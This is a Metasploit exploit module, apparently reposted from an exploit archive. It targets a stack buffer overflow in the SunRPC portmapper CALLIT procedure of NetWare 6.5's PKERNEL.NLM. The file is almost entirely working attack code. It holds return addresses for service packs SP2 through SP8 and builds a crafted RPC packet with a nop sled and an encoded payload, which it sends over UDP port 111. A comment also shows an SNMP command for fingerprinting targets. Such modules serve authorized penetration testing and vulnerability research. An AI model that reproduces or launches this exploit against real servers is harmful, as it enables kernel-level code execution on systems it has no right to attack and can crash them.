NetWare 6.5 – SunRPC Portmapper CALLIT Stack Buffer Overflow (Metasploit)
## # $Id: pkernel_callit.rb 11039 2010-11-14 19:03:24Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the NetWare PKERNEL.NLM driver's CALLIT procedure. PKERNEL.NLM is installed by default on all NetWare servers to support NFS. The PKERNEL.NLM module runs in kernel mode so a failed exploit attempt can cause the operating system to reboot. }, 'Author' => [ 'pahtzo', ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11039 $', 'References' => [ # There is no CVE for this vulnerability [ 'BID', '36564' ], [ 'OSVDB', '58447' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-067/' ], ], 'Privileged' => true, 'Payload' => { 'Space' => 2020, }, 'Platform' => 'netware', 'Targets' => [ # NetWare SP and PKERNEL.NLM version can be found in SNMP: # snmpwalk -Os -c public -v 1 [target hostname] | egrep -i "sysdescr|pkernel.nlm" # sysDescr.0 = STRING: Novell NetWare 5.70.08 October 3, 2008 # hrSWRunName.1191394992 = STRING: "PKERNEL.NLM v15.01 (20081014)" [ 'NetWare 6.5 SP2', { 'Ret' => 0xb2329b98 } ], # push esp - ret (libc.nlm) [ 'NetWare 6.5 SP3', { 'Ret' => 0xb234a268 } ], # push esp - ret (libc.nlm) [ 'NetWare 6.5 SP4', { 'Ret' => 0xbabc286c } ], # push esp - ret (libc.nlm) [ 'NetWare 6.5 SP5', { 'Ret' => 0xbabc9c3c } ], # push esp - ret (libc.nlm) [ 'NetWare 6.5 SP6', { 'Ret' => 0x823c835c } ], # push esp - ret (libc.nlm) [ 'NetWare 6.5 SP7', { 'Ret' => 0x823c83fc } ], # push esp - ret (libc.nlm) [ 'NetWare 6.5 SP8', { 'Ret' => 0x823C870C } ], # push esp - ret (libc.nlm) ], 'DisclosureDate' => 'Sep 30 2009')) register_options([Opt::RPORT(111)], self.class) end def exploit connect_udp buf = [rand(0xffffffff)].pack('N') # XID buf << [0].pack('N') # Message Type: Call (0) buf << [2].pack('N') # RPC Version: 2 buf << [100000].pack('N') # Program: Portmap (100000) buf << [2].pack('N') # Program Version: 2 buf << [5].pack('N') # Procedure: CALLIT (5) buf << [0].pack('N') # Credentials AUTH_NULL (0) buf << [0].pack('N') # Length: 0 buf << [0].pack('N') # Verifier AUTH_NULL (0) buf << [0].pack('N') # Length: 0 buf << [0].pack('N') # Program: Unknown (0) buf << [1].pack('N') # Version: 1 buf << [1].pack('N') # Procedure: proc-1 (1) buf << [4097].pack('N') # Arguments: <DATA> length: 4097 buf << make_nops(2072) # fill to ret buf << [target.ret].pack('V') # addr. of push esp - ret buf << payload.encoded # # print_status("payload space #{payload_space()}...") # print_status("payload len #{payload.encoded.length}...") # print_status("total buf len #{buf.length}...") print_status("Trying target #{target.name}...") udp_sock.put(buf) handler disconnect_udp end end |